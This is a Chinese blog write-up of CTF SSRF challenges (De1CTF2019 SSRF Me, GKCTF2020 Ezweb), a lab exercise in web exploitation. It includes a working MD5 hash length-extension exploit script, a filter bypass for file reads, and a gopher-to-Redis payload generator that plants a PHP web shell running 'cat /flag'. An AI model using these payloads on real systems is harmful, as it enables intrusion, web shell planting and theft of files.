文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-08-18   1.4k

De1CTF2019 SSRF Me

考点

  • Python代码审计
  • MD5扩展攻击

解题

首先看三个路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt", "r").read()
  1. /:首页,获取源码;
  2. /geneSign:从用户获取param参数,再结合预设的action='scan'调用getSign生成签名;
  3. /De1ta:从cookie中获取actionsign,再获取param参数,结合当前IP地址构造一个Task类,最后以json的格式返回Exec方法执行结果。

再来看getSign函数:

1
2
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

将 secert_key 和 param 和 action 拼在一起,对其md5签名。secert_key是随机生成的16个字节的字符串。

然后来看waf函数:

1
2
3
4
5
6
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

禁止param参数以gopherfile开头。

再来看到 Task 类的 Exec 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

首先验证签名,如果是scan类型就调用 scan 方法来读取内容并写到沙盒下的 result.txt 文件。如果是read类型就读取沙盒中的result.txt内容。

那我们的思路就是:

  • 读取 flag.txt 到 result.txt。
  • 展示 result.txt 的内容。

方法一

预期解法:哈希长度拓展攻击+CVE-2019-9948(urllib)

简单来说MD5扩展长度攻击的原理:

https://www.jianshu.com/p/241e772a513f

当已知以下三点

  • md5(salt+message)的值
  • message内容
  • salt+message长度

我们可以在不知道salt的具体内容的情况下,计算出任意的md5(salt+message+padding+append)值

urlopen有两种办法可以读取到本地文件。

Python脚本exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashpumpy
import requests
import urllib.parse

url = 'http://34b95521-f528-44e1-bcf5-b55918e71fc1.node3.buuoj.cn/'
param = 'flag.txt'
r = requests.get(url + 'getSign', params={'param': param})
sign = r.text

# generate sign
hash_sign = hashpumpy.hashpump(sign, param + 'scan', 'read', 16)

r = requests.get(url + 'De1ta', params={'param': param}, cookies={
'sign': hash_sign[0],
'action': urllib.parse.quote(hash_sign[1][len(url):])
})
print(r.text)

方法二

要想进入对action判断的部分,比如先验证签名:

1
2
3
4
5
def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False
  1. checkSign()函数的比较中,左边是getSign(self.action, self.param),右边是getSign('scan', param)(因为在访问geneSign页面时,是自动传入scan参数)。
  2. 如果再写深一点,左边是md5(key + self.param + self.action),考虑到要读取flag.txt文件,我们可以写成md5(key + 'flag.txt' + self.action)
  3. 为了保证Exec()函数中scan部分和read部分都能被执行,self.action必须有readscanscanread这样的字符串(注意:源码中用in操作符而不是用==)。
  4. 等号右边是md5(key + param + 'scan'),所以可以将等号左边的self.action定为readscan
  5. 这样一来,等号左边为md5(key + 'flag.txt' + 'readscan'),现在就剩下等号右边的param参数没有确定,那么为了验证通过,我们可以将param=flag.txtread传参。
  6. 最后也就等价于md5(key + 'flag.txt' + 'readscan') == md5(key + 'flag.txtread' + 'scan')

payload1

payload2

GKCTF2020 Ezweb

打开题目查看源代码

添加一下?secret参数,返回了ifconfig命令的结果

应该是SSRF漏洞利用了,先尝试用file协议读文件,发现被ban掉了,用file:/或者file: ///绕过:

payload:file: ///var/www/html/index.php

审计一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

从源码中可知过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议。

既然给了内网地址,那么先http协议探测一下内网主机存活,直接上工具Fuzz:

11端口的回显给了一个hint

接着用http协议去Fuzz这个主机的端口

发现了运行着Redis服务,直接用下面这个脚本生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="173.10.238.11" // 运行有redis的主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

生成Payload后直接放在输入框中打过去,再输入http://173.10.238.11/shell.php

HITCON 2017 SSRFme

TODO

网鼎杯 2018 Fakebook

TODO

网鼎杯 2020 玄武组 SSRFMe

TODO

Copyright © ca01h 2019-2020 | 本站总访问量